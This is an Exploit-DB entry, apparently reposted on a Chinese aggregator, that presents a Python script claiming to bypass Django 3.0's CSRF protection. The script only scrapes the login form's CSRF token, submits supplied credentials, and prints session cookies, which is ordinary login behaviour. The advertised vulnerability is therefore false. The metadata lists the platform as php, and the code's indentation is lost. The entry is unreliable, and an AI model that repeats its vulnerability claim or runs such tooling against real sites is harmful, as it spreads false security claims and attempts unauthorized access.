Django 3.0 – Cross-Site Request Forgery Token Bypass

• Exploit Database
• 39 阅读

• 作者： Spad Security Group
  日期： 2020-04-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48303/

• # Exploit Title: Django 3.0 - Cross-Site Request Forgery Token Bypass
  # Date: 2020-04-08
  # Exploit Author: Spad Security Group
  # Vendor Homepage: https://www.djangoproject.com/
  # Software Link: https://pypi.org/project/Django/
  # Version: 3.0 =<
  # Tested on: windows 10
  # Language: python3.8
  
  # t.me/SpadSec
  # Spad Security Group
  
  
  from requests import Session
  import sys
  from bs4 import BeautifulSoup
  from time import sleep
  from colorama import Fore, Style
  from random import choice
  from os import name, system
  
  colors = [Fore.RED, Fore.BLUE, Fore.WHITE, Fore.GREEN, Fore.CYAN, Fore.YELLOW]
  
  
  def cleaner():
  if name == "nt":
  system("cls")
  else:
  system("clear")
  
  def logo_printer():
  cleaner()
  logo = r"""
   \_______/
   `.,-'\_____/`-.,'
  /`..'\ _ /`.,'\
   //`.,' `.,'\\
  /__/__/ \__\__\__
  \\\ ///
   \\,'`._,'`.//
  \,'`./___\,'`./
   ,'`-./_____\,-'`.
   / \
  """
  _logo_enumer = 0
  for char in logo:
  sys.stdout.write(f"{choice(colors)}{char}{Style.RESET_ALL}")
  sys.stdout.flush()
  _logo_enumer +=1
  sleep(0.005)
  print(f"{colors[4]}DjangoCsrfMiddlewareToken bypass by SpadSecurity Group \n{colors[3]}\tt.me/SpadSec")
  
  class DjangoCsrfMiddleWareBypass:
  def __init__(self, url: str, username: str, password: str):
  self.url = url
  self.username = username
  self.password = password
  logo_printer()
  self.cookies = {}
  self.session = Session()
  self.bypass()
  
  def spad_printer(self, string):
  print("\n")
  for char in string:
  sys.stdout.write(char)
  sys.stdout.flush()
  sleep(0.05)
  
  def bypass(self):
  global colors
  _conn = self.session.get(self.url)
  self.spad_printer(f"{colors[5]}[{colors[0]}x{colors[5]}] {colors[4]}Target: {colors[3]}{self.url}")
  self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Trying to bypass cookies ...")
  for key, value in _conn.cookies.items():
  self.cookies[key] = value
  self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Bypassed Cookies ;)!")
  
  soup = BeautifulSoup(_conn.text, "lxml")
  csrf = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
  self.spad_printer(f"{colors[5]}[{colors[0]}~{colors[5]}] {colors[1]}Csrf-Token Found{Style.RESET_ALL}")
  
  login = self.session.post(self.url, data={'csrfmiddlewaretoken': csrf, 'username': self.username, 'password': self.password}, cookies=self.cookies)
  if len(login.history) >= 2:
  if login.history[1].is_redirect:
  self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Csrf-Token bypassed and logged in")
  else:
  self.spad_printer("[-] Error")
  else:
  if login.history:
  if login.history[0].is_redirect:
  self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Csrf-Token bypassed and logged in{Style.RESET_ALL}")
  for key, value in self.session.cookies.items():
  self.spad_printer(f"{colors[5]}[{colors[0]}!{colors[5]}] {colors[4]}{key} {colors[1]}-> {colors[4]}{value}{Style.RESET_ALL}")
  else:
  self.spad_printer(f"{colors[5]}[{colors[0]}-{colors[5]}] {colors[1]}Error")
  else:
  self.spad_printer(f"{colors[5]}[{colors[0]}-{colors[5]}] {colors[1]}Error")
  
  if __name__ == "__main__":
  try:
  url = sys.argv[1]
  username = sys.argv[2]
  password = sys.argv[3]
  DjangoCsrfMiddleWareBypass(url, username, password)
  except IndexError:
  logo_printer()
  for char in f"[!] python {sys.argv[0]} http://google.com username password":
  sys.stdout.write(char)
  sys.stdout.flush()
  sleep(0.05)